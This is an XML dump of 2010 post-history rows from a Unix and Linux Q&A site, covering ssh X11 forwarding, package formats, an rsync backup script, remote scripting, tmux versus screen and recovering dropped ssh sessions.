  <row Id="1062" PostHistoryTypeId="2" PostId="564" RevisionGUID="cad03b61-9f8d-4aac-82b4-c6daebee13d1" CreationDate="2010-08-17T12:42:57.653" UserId="31" Text="You can escape a string on the command line by using single ticks, so &#xD;&#xA;&#xD;&#xA;    lynx 'http://www.example.com/This(URL)is anExample.html'&#xD;&#xA;&#xD;&#xA;Will pass the URL unchanged to lynx, or any other program." />
  <row Id="1063" PostHistoryTypeId="2" PostId="565" RevisionGUID="83ddaf66-e434-4904-8a5a-e63c0c0581ac" CreationDate="2010-08-17T13:02:30.127" UserId="140" Text="Games tend to use an installer (formerly Loki Installer, nowadays MojoSetup), which installs a game cleanly into a prefix and handles stuff like icons." />
  <row Id="1064" PostHistoryTypeId="2" PostId="566" RevisionGUID="183ad4d4-a526-4aee-8e46-4ea68e35f859" CreationDate="2010-08-17T13:39:09.793" UserId="171" Text="When using `ssh -X` is the executable copied and run locally or is it run on the host machine. Since it is called X11 forwarding it makes me think that the window is drawn on my machine but running on the host. " />
  <row Id="1065" PostHistoryTypeId="1" PostId="566" RevisionGUID="183ad4d4-a526-4aee-8e46-4ea68e35f859" CreationDate="2010-08-17T13:39:09.793" UserId="171" Text="How does ssh -X  function ?" />
  <row Id="1066" PostHistoryTypeId="3" PostId="566" RevisionGUID="183ad4d4-a526-4aee-8e46-4ea68e35f859" CreationDate="2010-08-17T13:39:09.793" UserId="171" Text="ésshà" />
  <row Id="1067" PostHistoryTypeId="10" PostId="519" RevisionGUID="898c3561-7dee-41ca-94ef-f03d64f41fb7" CreationDate="2010-08-17T13:39:42.023" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;},{&quot;Id&quot;:82,&quot;DisplayName&quot;:&quot;szmergiell&quot;},{&quot;Id&quot;:163,&quot;DisplayName&quot;:&quot;Josh K&quot;},{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Hemant&quot;}]" />
  <row Id="1068" PostHistoryTypeId="2" PostId="567" RevisionGUID="38c80254-d756-48c5-8b34-629510a57ea5" CreationDate="2010-08-17T13:40:45.640" UserId="62" Text="That's right, the application is ran on the host while displayed on the local machine." />
  <row Id="1069" PostHistoryTypeId="2" PostId="568" RevisionGUID="ad97316c-c037-4002-89f8-9b81dba2bf8d" CreationDate="2010-08-17T13:42:09.630" UserId="5" Text="The application runs remotely, except the X components (i.e. rendering the x-commands etc) which are running locally. Every client application usually uses the local X server to display the UI. In this case, the commands are send via the encrypted SSH channel from the remote machine to your local machine and are displayed there." />
  <row Id="1070" PostHistoryTypeId="2" PostId="569" RevisionGUID="e14d5505-c4ce-40cf-87c9-129a7b2ae4d7" CreationDate="2010-08-17T13:52:16.017" UserId="31" Text="The executable is run on the remote machine and displayed (drawn) on the local machine.  What `ssh -X remote` does is start up a proxy X11 server on the remote machine.  If you do `echo $DISPLAY` on the remote machine, you should see something like `localhost:21.0`.  That is telling the program running on the remote machine to send drawing commands to the X11 server with id 21.  This then forwards those commands to the real X11 server running on the local machine, which draws on your screen.  This forwarding happens over an encrypted ssh connection, so they can't be (easily) listened to.&#xD;&#xA;&#xD;&#xA;Unlike Windows, Mac OS, etc, X11 was designed from the beginning to be able to run programs across a network, without needing things like remote desktop.  For a while, X11 thin clients were popular.  It is basically a stripped down computer that only runs a X11 server.  All of the programs run on some application server somewhere.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="1071" PostHistoryTypeId="2" PostId="570" RevisionGUID="3f08b7e7-a3e2-4cef-ac56-dc0d29f2e4be" CreationDate="2010-08-17T14:00:13.657" UserId="357" Text="Which distros support RPMs?  Which distros support DEB packages?  What other distros and package formats exists?  Here is what I think I know, but am interested in getting a more precise answer:&#xD;&#xA;&#xD;&#xA; - RPM - Redhat, Fedora, CentOS, SUSE&#xD;&#xA; - DEB - Debian, Ubuntu, &#xD;&#xA; - Pacman - Arch&#xD;&#xA; - tar.gz - all, depends on what is in the compressed file though&#xD;&#xA;&#xD;&#xA;Lots of others probably in the long tail.  I know you can use 'alien' to convert RPM to DEB, but it isn't installed by default in new Ubuntu setup so not counting that." />
  <row Id="1072" PostHistoryTypeId="1" PostId="570" RevisionGUID="3f08b7e7-a3e2-4cef-ac56-dc0d29f2e4be" CreationDate="2010-08-17T14:00:13.657" UserId="357" Text="What are the different software packaging formats and which distributions support them as part of base install?" />
  <row Id="1073" PostHistoryTypeId="3" PostId="570" RevisionGUID="3f08b7e7-a3e2-4cef-ac56-dc0d29f2e4be" CreationDate="2010-08-17T14:00:13.657" UserId="357" Text="élinuxàépackagingà" />
  <row Id="1074" PostHistoryTypeId="2" PostId="571" RevisionGUID="e640f090-2eae-4013-87fe-d654152d8d78" CreationDate="2010-08-17T14:05:49.387" UserId="357" Text="Is it feasible to build an RPM package and then utilize alien to create the DEB package rather than investing time in building a DEB package?  Or do certain pieces not translate well?" />
  <row Id="1075" PostHistoryTypeId="1" PostId="571" RevisionGUID="e640f090-2eae-4013-87fe-d654152d8d78" CreationDate="2010-08-17T14:05:49.387" UserId="357" Text="How well does alien work for converting packages?" />
  <row Id="1076" PostHistoryTypeId="3" PostId="571" RevisionGUID="e640f090-2eae-4013-87fe-d654152d8d78" CreationDate="2010-08-17T14:05:49.387" UserId="357" Text="élinuxàépackagingà" />
  <row Id="1077" PostHistoryTypeId="2" PostId="572" RevisionGUID="6914db8e-721f-44b5-ac50-32d149038a7a" CreationDate="2010-08-17T14:16:27.393" UserId="188" Text="This crude -but functional- script will backup everything under the sun to your external hard drive under a hard link farm. The directory name is a timestamp, and it maintains a symlink to the latest sucessful backup. Think of it as a Time Machine sans the fancy GUI.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    DATE=`/bin/date +%Y%m%d%H%M%S`&#xD;&#xA;    RSYNC=/usr/bin/rsync&#xD;&#xA;    BASE=/mnt/externalhd&#xD;&#xA;    TARGET=$BASE/daily&#xD;&#xA;    $RSYNC -av --exclude $TARGET --exclude-from=/etc/backup/rsync.exclude --link-dest=$TARGET/latest/ / $TARGET/$DATE/&#xD;&#xA;    touch $TARGET/$DATE/&#xD;&#xA;    rm $TARGET/latest&#xD;&#xA;    ln -s $TARGET/$DATE $TARGET/latest&#xD;&#xA;&#xD;&#xA;Set it up creating an empty $TARGET and symlink a dummy $TARGET/latest to it. Populate /etc/backup/rsync.exclude with lost+found, tmp, var/run and everything else you need to skip during backup, or go for --include-from if it fits you better; &quot;man rsync&quot; is your friend.&#xD;&#xA;&#xD;&#xA;Proper sanity checks, error control, remote backup and pretty GNOME GUI are left as an exercise to the reader ;-)" />
  <row Id="1078" PostHistoryTypeId="2" PostId="573" RevisionGUID="39ecd32e-0334-4157-b85c-5d4c9837a212" CreationDate="2010-08-17T14:41:38.427" UserId="325" Text="I often have several java programs running and I can't tell which one needs to be killed. The command section of the process table only shows java, but doesn't tell me which jar or class files it is running." />
  <row Id="1079" PostHistoryTypeId="1" PostId="573" RevisionGUID="39ecd32e-0334-4157-b85c-5d4c9837a212" CreationDate="2010-08-17T14:41:38.427" UserId="325" Text="How do I see more of the command line with the KDE System Guard Process Table" />
  <row Id="1080" PostHistoryTypeId="3" PostId="573" RevisionGUID="39ecd32e-0334-4157-b85c-5d4c9837a212" CreationDate="2010-08-17T14:41:38.427" UserId="325" Text="ékdeà" />
  <row Id="1081" PostHistoryTypeId="2" PostId="574" RevisionGUID="59a2a50d-d4c8-4811-9a8d-7b70e44f71f4" CreationDate="2010-08-17T15:34:11.033" UserId="10" Text="I had troubles getting screen to support utf-8 and 256 colors but tmux worked out of the box." />
  <row Id="1082" PostHistoryTypeId="2" PostId="575" RevisionGUID="8b6a4ea5-e5f4-4d03-95f1-bc142f642b2b" CreationDate="2010-08-17T15:49:17.713" UserId="230" Text="Yes, it is feasible.  &#xD;&#xA;&#xD;&#xA;However, you'd probably be better off using an application like [checkinstall][1] to create both package types for your users.  There's a few howtos out there, this one on [lwn.net][2] and this one on [linuxjournal.com][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.asic-linux.com.mx/~izto/checkinstall/index.php&#xD;&#xA;  [2]: http://lwn.net/Articles/87566/&#xD;&#xA;  [3]: http://www.linuxjournal.com/content/using-checkinstall-build-packages-source" />
  <row Id="1083" PostHistoryTypeId="2" PostId="576" RevisionGUID="dca0b064-e4eb-494e-9609-11a935409a4f" CreationDate="2010-08-17T15:57:14.200" UserId="230" Text="There's a list of Linux Package Formats on wikipedia [here][1] and a list of common package management systems [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Linux_package_formats&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Package_management_system#Common_package_management_systems_and_formats" />
  <row Id="1084" PostHistoryTypeId="2" PostId="577" RevisionGUID="74db4d20-69c4-42aa-9865-f90de8353025" CreationDate="2010-08-17T16:09:09.933" UserId="32" Text="The updates to the zone is protected by the key (similar to: allow-update { key &quot;rndc-key&quot;; })." />
  <row Id="1085" PostHistoryTypeId="1" PostId="577" RevisionGUID="74db4d20-69c4-42aa-9865-f90de8353025" CreationDate="2010-08-17T16:09:09.933" UserId="32" Text="How can a Windows based DHCP server update DNS Server on Linux?" />
  <row Id="1086" PostHistoryTypeId="3" PostId="577" RevisionGUID="74db4d20-69c4-42aa-9865-f90de8353025" CreationDate="2010-08-17T16:09:09.933" UserId="32" Text="édnsàédhcpà" />
  <row Id="1087" PostHistoryTypeId="2" PostId="578" RevisionGUID="9af83842-4fd4-45db-a8d1-a8d5c13dcd30" CreationDate="2010-08-17T16:47:51.703" UserId="163" Text="I need to be able to locally run a script that will connect to various servers and run commands on them. What is the best way to accomplish this? " />
  <row Id="1088" PostHistoryTypeId="1" PostId="578" RevisionGUID="9af83842-4fd4-45db-a8d1-a8d5c13dcd30" CreationDate="2010-08-17T16:47:51.703" UserId="163" Text="Write a remote managing script" />
  <row Id="1089" PostHistoryTypeId="3" PostId="578" RevisionGUID="9af83842-4fd4-45db-a8d1-a8d5c13dcd30" CreationDate="2010-08-17T16:47:51.703" UserId="163" Text="ésshàéscriptingàébashàéremoteömanagementà" />
  <row Id="1090" PostHistoryTypeId="2" PostId="579" RevisionGUID="c550db65-a246-4d24-8a91-0885b25ea275" CreationDate="2010-08-17T17:07:53.373" UserId="29" Text="I would use ssh with key authentication, I believe ssh has a way to make sure that certain accounts can only log in from certain IP's so I would limit it to that because you might not want to set a passphrase on the keys (you could use a key manager to avoid that but it has limitations too)" />
  <row Id="1091" PostHistoryTypeId="2" PostId="580" RevisionGUID="2b100e8f-ce4c-490d-ac1c-a92419132c1e" CreationDate="2010-08-17T17:24:42.303" UserId="183" Text="Personally, I would use [Capistrano](http://www.capify.org/index.php/Capistrano).  It's friendly and written in Ruby and they already did all of the heavy lifting for you.&#xD;&#xA;&#xD;&#xA;From Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt;Capistrano is a utility and framework for executing commands in parallel on multiple remote machines, via SSH." />
  <row Id="1092" PostHistoryTypeId="2" PostId="581" RevisionGUID="a432c133-5f24-46db-9b29-aec8c844e156" CreationDate="2010-08-17T17:47:12.017" UserId="31" Text="you can run a command using `ssh hostname command`.  If you have an entire script you need to execute, first use scp to transfer it to the remote host, then ssh to execute it.&#xD;&#xA;&#xD;&#xA;    scp script.sh host:script.sh&#xD;&#xA;    ssh host ./script.sh&#xD;&#xA;" />
  <row Id="1093" PostHistoryTypeId="2" PostId="582" RevisionGUID="1de1d92b-e056-43be-b6b4-4a35a50f1415" CreationDate="2010-08-17T18:03:20.237" UserId="40" Text="I frequently find myself SSHing into various OS X machines, and it'd be useful if I could tell what version of OS X I was on when I'm doing that. `uname -a` doesn't quite work, since Darwin kernel versions don't always change with the rest of the system." />
  <row Id="1094" PostHistoryTypeId="1" PostId="582" RevisionGUID="1de1d92b-e056-43be-b6b4-4a35a50f1415" CreationDate="2010-08-17T18:03:20.237" UserId="40" Text="How can I tell what version of OS X I'm on from the command line?" />
  <row Id="1095" PostHistoryTypeId="3" PostId="582" RevisionGUID="1de1d92b-e056-43be-b6b4-4a35a50f1415" CreationDate="2010-08-17T18:03:20.237" UserId="40" Text="éosxàésshàéversionà" />
  <row Id="1096" PostHistoryTypeId="2" PostId="583" RevisionGUID="5c3a223b-a14b-40a0-97e2-7d0e9fbecf6c" CreationDate="2010-08-17T18:05:54.007" UserId="203" Text="Here is a Blog article with instructions [*How to Get the Mac OS X Version in a Shell Script*][1]&#xD;&#xA;&#xD;&#xA;    OS_VERSION=`/usr/bin/defaults read “$3/System/Library/CoreServices/SystemVersion” ProductVersion`&#xD;&#xA;    echo “$OS_VERSION”&#xD;&#xA;&#xD;&#xA;  [1]: http://www.macgeekery.com/tips/cli/how_get_mac_os_x_version_shell_script" />
  <row Id="1097" PostHistoryTypeId="2" PostId="584" RevisionGUID="f8a244f8-67e9-467f-98e0-3024addcf421" CreationDate="2010-08-17T18:06:04.550" UserId="26" Text="Try this:&#xD;&#xA;&#xD;&#xA;     system_profiler  | grep 'System Version'&#xD;&#xA;" />
  <row Id="1098" PostHistoryTypeId="2" PostId="585" RevisionGUID="a24d6bb8-e231-4fed-8bf8-c46d3c860379" CreationDate="2010-08-17T18:15:04.797" UserId="5" Text="What about using puppetmaster or chef? This is maybe a little over the top for only one script, but if you need several such scripts it might be worth to consider." />
  <row Id="1099" PostHistoryTypeId="5" PostId="585" RevisionGUID="fa8d5da7-a544-4681-9eeb-0f5b7e88da01" CreationDate="2010-08-17T18:22:39.010" UserId="5" Comment="added 80 characters in body; added 30 characters in body" Text="What about using configuration management like [puppet][1] or [chef][2]? This is maybe a little over the top for only one script, but if you need several such scripts it might be worth to consider.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.puppetlabs.com/&#xD;&#xA;  [2]: http://www.opscode.com/chef/" />
  <row Id="1100" PostHistoryTypeId="2" PostId="586" RevisionGUID="5f83c10e-68be-4f13-a6a4-29cb56b3553f" CreationDate="2010-08-17T19:11:20.067" UserId="370" Text="From their website:&#xD;&#xA;&#xD;&#xA;&gt; * How is tmux different from GNU screen? What else does it offer?&#xD;&#xA;&gt;&#xD;&#xA;&gt; tmux offers several advantages over screen:&#xD;&#xA;&gt;&#xD;&#xA;&gt; - a clearly-defined client-server model: windows are independent entities which&#xD;&#xA;&gt;  may be attached simultaneously to multiple sessions and viewed from multiple&#xD;&#xA;  clients (terminals), as well as moved freely between sessions within the same&#xD;&#xA;  tmux server;&#xD;&#xA;- a consistent, well-documented command interface, with the same syntax&#xD;&#xA;  whether used interactively, as a key binding, or from the shell;&#xD;&#xA;- easily scriptable from the shell;&#xD;&#xA;- multiple paste buffers;&#xD;&#xA;- choice of vi or emacs key layouts;&#xD;&#xA;- an option to limit the window size;&#xD;&#xA;- a more usable status line syntax, with the ability to display the first line&#xD;&#xA;  of output of a specific command;&#xD;&#xA;- a cleaner, modern, easily extended, BSD-licensed codebase.&#xD;&#xA;&#xD;&#xA;&gt;There are still a few features screen includes that tmux omits:&#xD;&#xA;&#xD;&#xA;&gt;- builtin serial and telnet support; this is bloat and is unlikely to be added&#xD;&#xA;  to tmux;&#xD;&#xA;- wider platform support, for example IRIX and HP-UX, and for odd terminals." />
  <row Id="1101" PostHistoryTypeId="2" PostId="587" RevisionGUID="61cf513b-19dd-4f73-bea5-78067586a196" CreationDate="2010-08-17T19:20:11.793" UserId="384" Text="Whatever you do, make sure you include a &quot;support script&quot; that allows you to collect as much information as possible on the target system for troubleshooting errors.  I guarantee you will run into issues and debugging things the customer says versus reality is often very different." />
  <row Id="1102" PostHistoryTypeId="2" PostId="588" RevisionGUID="b2d22a2f-4cf5-4cab-8352-47600d71f86b" CreationDate="2010-08-17T19:20:19.097" UserId="28" Text="I've had some success with [RIBS][1] (Rsync Incremental Backup System)&#xD;&#xA;&#xD;&#xA;It uses rsync so hardlinks are supported and can do incremental backups hourly, daily, weekly and monthly.&#xD;&#xA;&#xD;&#xA;However, it is a script only. To set up you need to edit the settings and then set up related cronjobs. It works, but it's not the most user friendly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rustyparts.com/ribs.php" />
  <row Id="1104" PostHistoryTypeId="2" PostId="590" RevisionGUID="28b8bee3-00de-4046-b238-437a99af9a44" CreationDate="2010-08-17T19:32:24.947" UserId="384" Text="Gemalto drivers are now open source I believe.  They have the source code on their website.&#xD;&#xA;&#xD;&#xA;You will need to configure the pam module (I'm not sure how to do this, but the code is certainly there).  I imagine the pam configuration would require a mapping of a certificate principle to a local user id.&#xD;&#xA;&#xD;&#xA;GDM I believe supports smart cards now, but I'm not sure how it detects it.  I'll try to look this up later (easiest way is probably to just peek at the gdm source code).&#xD;&#xA;&#xD;&#xA;Of course this all requires pcscd and libpcsclite to be installed.  You will also need to copy the libgtop11dotnet.so to /usr/lib." />
  <row Id="1105" PostHistoryTypeId="2" PostId="591" RevisionGUID="fcd7fd54-e0c2-43ff-ab1e-41119b104fbe" CreationDate="2010-08-17T19:37:44.107" UserId="19" Text="Ubuntu is fairly lean to begin with.  Linux tends to have a &quot;chunky&quot; feel with the UI.  This is a function of X as well as using non-optimized graphic drivers and such.  I replaced Win 7 with ubuntu on a netbook, and it used like 1/4 of the memory out of the box, and generally ubuntu doesn't install a ton of stuff in the background, and nothing you'd really consider crapware.&#xD;&#xA;&#xD;&#xA;Also, keep in mind.  Linux will eat up your memory, but that's going to be cache.  Its not really &quot;using&quot; it.  When programs need that memory, it will free it up.  The total memory use is misleading.&#xD;&#xA;&#xD;&#xA;I'd suggest checking if there are graphics drivers written for your specific hardware.  If you want to try a lighter OS, http://www.xubuntu.org/ is a good way to go.  If that feels sluggish, then its something with your hardware/linux interface.  I ran that on a budget thinkpad from 2000, which was designed for win 98 and barely run windows 2000, and ran fine with a fairly recent version of xubuntu.  On top of that, I donated it to somebody who is completely computer illiterate, and she had no trouble with it (I had already installed the basics plus the flash plugin)." />
  <row Id="1106" PostHistoryTypeId="2" PostId="592" RevisionGUID="c35cfba6-9527-4e74-9dcb-d3108d7f2761" CreationDate="2010-08-17T19:45:19.627" UserId="325" Text="I have a few service errors at startup on an opensolaris installation that I keep put off fixing since I would need to figure out the line commands again. Is there an easier to use front end?" />
  <row Id="1107" PostHistoryTypeId="1" PostId="592" RevisionGUID="c35cfba6-9527-4e74-9dcb-d3108d7f2761" CreationDate="2010-08-17T19:45:19.627" UserId="325" Text="Is there a graphical front end to the Solaris Service Management Facility?" />
  <row Id="1108" PostHistoryTypeId="3" PostId="592" RevisionGUID="c35cfba6-9527-4e74-9dcb-d3108d7f2761" CreationDate="2010-08-17T19:45:19.627" UserId="325" Text="ésolarisà" />
  <row Id="1109" PostHistoryTypeId="2" PostId="593" RevisionGUID="90f6023d-7ad6-4d78-ad14-07f9e635fcf8" CreationDate="2010-08-17T19:59:13.713" UserId="382" Text="    ack --passthru --color string file" />
  <row Id="1110" PostHistoryTypeId="2" PostId="594" RevisionGUID="460f2211-2e08-436e-a881-3b71fe48846d" CreationDate="2010-08-17T20:00:51.510" UserId="373" Text="*The Linux Programming Interface* by Michael Kerrisk&#xD;&#xA;&#xD;&#xA;Note that the author is the current maintainer of the Linux man pages. And that it's not out yet so I can't actually say how good it is, but I've read the blog posts about it and it sounds like a good book. (and he _is_ the maintainer of the man pages, and those are mostly well written and he ought to know his stuff)&#xD;&#xA;&#xD;&#xA;http://www.man7.org/tlpi/index.html&#xD;&#xA;&#xD;&#xA;http://www.nostarch.com/linuxprogramming.htm" />
  <row Id="1111" PostHistoryTypeId="2" PostId="595" RevisionGUID="72f2bd33-4d70-46e4-b0cd-2820a15abe37" CreationDate="2010-08-17T20:07:17.423" UserId="410" Text="We are running Windows Clients with Cygwin XServer that has a bash script application running on AIX Unix. We have a login script using expect to ssh into the server and then xterm to create the client terminal.&#xD;&#xA;&#xD;&#xA;This is working fine except on any form screen, after the fields are updated and the ______ line is erased a single . is left at the end.&#xD;&#xA;&#xD;&#xA;I tried different fonts and sizes but no matter what I do, that single . is left after the line is erased.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="1112" PostHistoryTypeId="1" PostId="595" RevisionGUID="72f2bd33-4d70-46e4-b0cd-2820a15abe37" CreationDate="2010-08-17T20:07:17.423" UserId="410" Text="Xterm is not completely erasing field lines" />
  <row Id="1113" PostHistoryTypeId="3" PostId="595" RevisionGUID="72f2bd33-4d70-46e4-b0cd-2820a15abe37" CreationDate="2010-08-17T20:07:17.423" UserId="410" Text="éunixà" />
  <row Id="1114" PostHistoryTypeId="2" PostId="596" RevisionGUID="699cdd8c-dc8c-49cd-b0dc-8c9421da26b9" CreationDate="2010-08-17T20:11:13.170" UserId="415" Text="BackupPC sounds like it fits the bill. It manages a tree of hard links for dedupe and can backup many machines, or just the local machine. " />
  <row Id="1115" PostHistoryTypeId="2" PostId="597" RevisionGUID="723b4171-98c2-4157-ab77-0d36416d0a4b" CreationDate="2010-08-17T20:17:00.160" UserId="358" Text="Comprehensive data on this topic is available from IDC, a large market-research firm that sells reports.  As was mentioned earlier by Stefan Lasiewski and in the original question, there are a number of different ways to slice and dice server/desktop and raw operating system data.  &#xD;&#xA;&#xD;&#xA;A complicating factor for Linux in particular is the number of paid versus unpaid subscriptions in the market.  Consequently, you are likely to find that market estimations will have a wide margin-of-error.  &#xD;&#xA;&#xD;&#xA;Given these facts, I would say that this question is unanswerable without further detail or specificity.  In addition, all answers would be subject to debate on the rationale and methodology.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1116" PostHistoryTypeId="2" PostId="598" RevisionGUID="2028f7c2-c902-4d7b-90c2-0509b5444c8a" CreationDate="2010-08-17T20:27:25.893" UserId="414" Text="Apologizes in advance. I'm a Windows user and may not be using the right jargon or have the wrong assumptions on the way things work with linux.&#xD;&#xA;&#xD;&#xA;I have a virtual instance of redhat running that I can ssh to from any host on the corporate network.  My ssh session was dropped while running some scripts that may or not have caused me to disconnect.  The who command locally still lists the dropped connection. Reconnecting with ssh starts a whole new session.  Is there a way to connect to the original session?  If not can I kill it?  I have root and physical access.  I was not using screen in the original session.&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="1117" PostHistoryTypeId="1" PostId="598" RevisionGUID="2028f7c2-c902-4d7b-90c2-0509b5444c8a" CreationDate="2010-08-17T20:27:25.893" UserId="414" Text="Can I connect to or view abandoned ssh sessions?" />
  <row Id="1118" PostHistoryTypeId="3" PostId="598" RevisionGUID="2028f7c2-c902-4d7b-90c2-0509b5444c8a" CreationDate="2010-08-17T20:27:25.893" UserId="414" Text="ésshà" />
  <row Id="1119" PostHistoryTypeId="5" PostId="594" RevisionGUID="6230f8a3-923a-473d-8ca4-86288de9e4a1" CreationDate="2010-08-17T20:28:45.360" UserId="373" Comment="added 54 characters in body" Text="*The Linux Programming Interface* by Michael Kerrisk&#xD;&#xA;&#xD;&#xA;Note that the author is the current maintainer of the Linux man pages. And that it's not out yet so I can't actually say how good it is, but I've read the blog posts about it and it sounds like a good book. (and he _is_ the maintainer of the man pages, and those are mostly well written and he ought to know his stuff)&#xD;&#xA;&#xD;&#xA;http://blog.man7.org/2009/07/whats-book-about.html&#xD;&#xA;&#xD;&#xA;http://www.man7.org/tlpi/index.html&#xD;&#xA;&#xD;&#xA;http://www.nostarch.com/linuxprogramming.htm" />
  <row Id="1120" PostHistoryTypeId="2" PostId="599" RevisionGUID="3f648455-c713-4f8b-8fb9-e1955cc8f4eb" CreationDate="2010-08-17T20:28:48.947" UserId="358" Text="In addition to the books mentioned above, I have found svn help from the command line to be helpful, especially when using commands for the first time.  e.g., svn help commit&#xD;&#xA;&#xD;&#xA;I learned SVN basics by watching the command line while making changes using a GUI, like TortoiseSVN, and then moving onto the command line and using the built-in help." />
  <row Id="1121" PostHistoryTypeId="2" PostId="600" RevisionGUID="59cc359a-c9ed-43c0-8de9-64369749bc33" CreationDate="2010-08-17T20:34:53.503" UserId="29" Text="You want to use [screen][1] on the remote and then when you ssh back in you reconnect to that instance of screen.&#xD;&#xA;&#xD;&#xA;but no you can't reconnect to an ssh session in and of itself, you have to use screen (or something else like it to facilitate that).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/" />
  <row Id="1126" PostHistoryTypeId="5" PostId="600" RevisionGUID="f24836df-7dbc-4d93-9b68-873a4c7757d1" CreationDate="2010-08-17T20:40:51.273" UserId="29" Comment="link to another question" Text="You want to use [screen][1] on the remote and then when you ssh back in you reconnect to that instance of screen.&#xD;&#xA;&#xD;&#xA;but no you can't reconnect to an ssh session in and of itself, you have to use screen (or something else like it to facilitate that).&#xD;&#xA;&#xD;&#xA;Look at [this question][2] for at least one other option and some differences between it (tmux) and screen.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/549/tmux-vs-gnu-screen" />
  <row Id="1128" PostHistoryTypeId="5" PostId="600" RevisionGUID="19a51f4b-a034-4b77-8a31-596d96f31c77" CreationDate="2010-08-17T20:46:09.030" UserId="29" Comment="add a link to tmux and an opinion" Text="You want to use [screen][1] on the remote and then when you ssh back in you reconnect to that instance of screen.&#xD;&#xA;&#xD;&#xA;but no you can't reconnect to an ssh session in and of itself, you have to use screen (or something else like it to facilitate that).&#xD;&#xA;&#xD;&#xA;Look at [this question][2] for at least one other option and some differences between it (tmux) and screen. &#xD;&#xA;&#xD;&#xA;after reading the answer to that question... I'd actually say [tmux][3] is better&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/549/tmux-vs-gnu-screen&#xD;&#xA;  [3]: http://tmux.sourceforge.net/" />
  <row Id="1129" PostHistoryTypeId="2" PostId="602" RevisionGUID="3e23d347-e123-4c97-812a-d3dc26fd7506" CreationDate="2010-08-17T20:51:02.373" UserId="19" Text="As mentioned, screen is probably your best bet.  If/when your session is dropped, it will keep running.  Type 'screen -list' to see available sessions, and 'screen -r &lt;session&gt;' with the session you want.  A little tip, you can tab-complete the session string rather than copy/paste the whole thing.&#xD;&#xA;&#xD;&#xA;However, screen can be annoying.  In my client, you can't easily scroll up to see history in the console.  It acts a little differently than you'd expect.  If all you want to do is make sure your long running procs don't get killed, use 'nohup'.  It will prevent your proc from being shut down when you lose your connection.  Make sure you send your proc output to a file if you want to monitor it, though.  Also, if you have a bash script, I think you need to explicitly call 'bash' in front of nohup.  An example...&#xD;&#xA;&#xD;&#xA;nohup bash ./myscript.sh &gt; output.log 2&gt;&amp;1 &amp;&#xD;&#xA;&#xD;&#xA;That means nohup, to prevent killing the proc, bash to explicitly call bash if you have bash specific stuff in your script, your script called 'myscript.sh' in the current dir, output.log as the file to send both std out and error out to, and the '&amp;' at the end to run the proc in the background." />
  <row Id="1130" PostHistoryTypeId="5" PostId="600" RevisionGUID="fe99cdb3-da4f-4d2c-8f6a-51a19ab8a7b4" CreationDate="2010-08-17T20:52:31.247" UserId="29" Comment="update on kill" Text="You want to use [screen][1] on the remote and then when you ssh back in you reconnect to that instance of screen.&#xD;&#xA;&#xD;&#xA;but no you can't reconnect to an ssh session in and of itself, you have to use screen (or something else like it to facilitate that).&#xD;&#xA;&#xD;&#xA;Look at [this question][2] for at least one other option and some differences between it (tmux) and screen. after reading the answer to that question... I'd actually say [tmux][3] is better&#xD;&#xA;&#xD;&#xA;oh and yes you could `kill` the process (including the forked bash) to stop it, you might try `skill` to kill the user by name, but I suspect if that user is root... it might try killing things it can't.&#xD;&#xA;&#xD;&#xA;*answer has been updated a few times*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/549/tmux-vs-gnu-screen&#xD;&#xA;  [3]: http://tmux.sourceforge.net/" />
  <row Id="1131" PostHistoryTypeId="2" PostId="603" RevisionGUID="844cc667-ca4c-495b-a641-819bc4f92d0d" CreationDate="2010-08-17T21:01:57.230" UserId="440" Text="Setting `$DISPLAY` is only half of the deal though. In order to be able to authenticate the clients on the server side, `ssh` also utilizes `xauth` to create a new authentication cookie. See `xauth list` and `~/.Xauthority`." />
  <row Id="1132" PostHistoryTypeId="2" PostId="604" RevisionGUID="febd7b25-31f5-4630-b388-09bded3a53c8" CreationDate="2010-08-17T21:13:00.513" UserId="446" Text="When I do `more filename` and `less filename`, it would seem that the resulting terminals are quite similar. I can navigate and search through my files identically (`j`, &lt;kbd&gt;Space&lt;/kbd&gt;, `/pattern`, etc.).&#xD;&#xA;&#xD;&#xA;I find it hard to believe that `less` is `more` and vice versa. Are there any differences between the two?" />
  <row Id="1133" PostHistoryTypeId="1" PostId="604" RevisionGUID="febd7b25-31f5-4630-b388-09bded3a53c8" CreationDate="2010-08-17T21:13:00.513" UserId="446" Text="Is less just more?" />
  <row Id="1134" PostHistoryTypeId="3" PostId="604" RevisionGUID="febd7b25-31f5-4630-b388-09bded3a53c8" CreationDate="2010-08-17T21:13:00.513" UserId="446" Text="écommandölineàélessà" />
